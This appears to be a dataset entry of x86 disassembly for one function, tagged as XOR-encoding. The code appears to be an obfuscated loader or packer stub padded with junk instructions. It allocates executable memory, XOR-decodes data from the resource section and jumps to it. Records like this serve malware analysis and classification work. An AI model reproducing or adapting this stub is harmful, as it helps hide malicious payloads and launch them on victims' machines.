Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd3496baf
mov ecx, 0x9f019fe9
inc ecx
popal
mov edx, 0x78cb9bcb
dec edx
not ecx
mov ecx, 0
mov ebx, edx
add eax, eax
mov eax, esi
mov edi, ebx
and eax, eax
mov eax, 0x2b3e69db
inc eax
mov edx, edi
sub esi, eax
sub eax, 0x628ffa66
add ecx, 1
sub esi, 0x8e0a4af5
mov eax, 0xd47d35c5
not esi
cmp ecx, 0x1007a02
jne 0xa789c6
and eax, esi
sub esi, 0xbd3fd810
not esi
mov edx, ecx
sub ecx, 0xfe3baff5
sub ecx, edx
mov edx, 0xa78796
sub ecx, eax
mov esi, ecx
add eax, eax
mov ebx, 0xa7898a
add ecx, 0xfa8429e5
inc eax
sub eax, ecx
mov edi, dword [edx]
or ecx, esi
not ecx
inc eax
and edi, 0xff
or eax, eax
sub ecx, 0x923d9d64
xor dword [ebx], edi
not ecx
mov esi, 0x7de7fad5
or esi, ecx
inc ebx
mov eax, esi
sub ecx, esi
inc edx
mov eax, 0x4e0bc242
sub ecx, 0x1a9fddf5
mov esi, ecx
cmp ebx, entry0
jl 0xa78a2c
add eax, eax
and eax, eax
add ecx, 0x828b0ddd
dec esi
sub ecx, eax
mov ebx, edi
and ecx, esi
mov edx, 0xa7898e
add ebx, 0xc5058a7c
mov ecx, ebx
mov edx, dword [edx]
not ecx
dec edi
mov edx, dword [edx]
add edi, ecx
add ebx, 0x3a639fb3
inc edi
sub esp, 4
mov dword [esp], edx
mov ecx, edi
sub esi, 0x7be0a549
mov edx, 0xa7898a
sub ebx, esi
sub ecx, ebx
mov edx, dword [edx]
mov ecx, edi
sub ecx, 0x34c30770
sub edi, 0x36becc14
mov edx, dword [edx]
mov edi, 0x5b5ab595
mov esi, ecx
push 0xa78992
mov ebx, 0x5b6ce5c2
add ecx, esi
mov ecx, esi
call edx
or edi, esi
and edi, ebx
mov edx, dword [esp]
add esp, 4
add ecx, 0x4f72cb04
sub esi, 0xa49ad4ce
push 0xa7899f
or ebx, ebx
sub edi, ebx
push eax
not edi
mov ebx, 0xcf06959b
call edx
add ecx, 0xc6ec3284
or ebx, ebx
or esi, ecx
push 0x40
or ebx, ecx
not ebx
inc ebx
push 0x3000
and ebx, esi
sub esi, ebx
sub ecx, 0xae38a11a
push 0x20000efc
sub ebx, edi
inc ecx
add ebx, 0xe00cacd2
push 0
dec ebx
mov esi, 0x2f2e03cc
call eax
not esi
sub ebx, edi
add eax, 0x20000e3a
mov esi, ebx
mov ecx, 0xe6724891
mov edx, 0xf41ebfa4
not edi
mov ebx, 0x389f7f9e
dec ebx
mov dword [eax], edx
sub esi, 0xdaa9c2c5
sub esi, ecx
mov edx, dword [eax]
not edi
mov edi, ecx
cmp edx, 0xf41ebfa4
je 0xa78b7d
mov eax, 0
mov edx, dword [eax]
add edi, 0xd2332350
and edi, ebx
add esi, ebx
mov ebx, edi
not ebx
inc ecx
dec ecx
and edx, ecx
not ecx
mov edi, section..rsrc
or ecx, edx
mov ecx, edx
not edx
mov esi, 0xa78795
sub ecx, 1
inc ecx
mov ebx, 0
add edx, edx
add edx, 1
mov eax, 0xa78796
mov ecx, 0x964e884
not edx
lea eax, [eax + ebx]
mov edx, ecx
dec ecx
sub ecx, edx
mov eax, dword [eax]
sub edx, 1
dec edx
mov ecx, 0x83e0ca9e
and eax, 0xff
add edx, 0x848b8e27
add ecx, edx
inc ebx
not ecx
mov ecx, 0x13e8f206
mov ecx, edx
cmp ebx, 0x1f4
jne 0xa78bfc
mov ebx, 0
and ecx, edx
add ecx, ecx
add ecx, 0x7367cb09
sub ecx, edx
xor dword [edi], eax
add edx, 0xbae02992
add ecx, 0xcec800ac
sub edx, 0xeed39908
add edi, 2
add edx, edx
sub ecx, 0x71c192bd
cmp edi, esi
jl 0xa78bb5
add edx, 0x5e232deb
not ecx
or edx, edx
inc ecx
mov ebx, section..rsrc
inc esi
inc ecx
mov edi, section..rsrc
or ecx, esi
and esi, ecx
mov esi, ecx
mov edx, 0xa78795
add esi, 0xb970726c
add esi, 0x1c28e2c2
mov eax, 0
and esi, esi
and ecx, ecx
add esi, 0x555cd595
mov al, byte [edi]
mov esi, ecx
sub ecx, 1
dec ecx
mov byte [ebx], al
mov ecx, 0xb3507e04
add ecx, 0xc6d59462
dec esi
inc ebx
mov esi, 0x12988e6d
or ecx, esi
add edi, 2
mov ecx, 0x6dbb3dcf
mov ecx, 0x6309b62a
and ecx, ecx
cmp edi, edx
jle 0xa78c6f
add ecx, 0x6fd6fec4
add ecx, ecx
inc ecx
sub ecx, 1
mov edx, 0x6ffe1127
dec edx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov edx, 0xa4d5ce21
dec edx
ret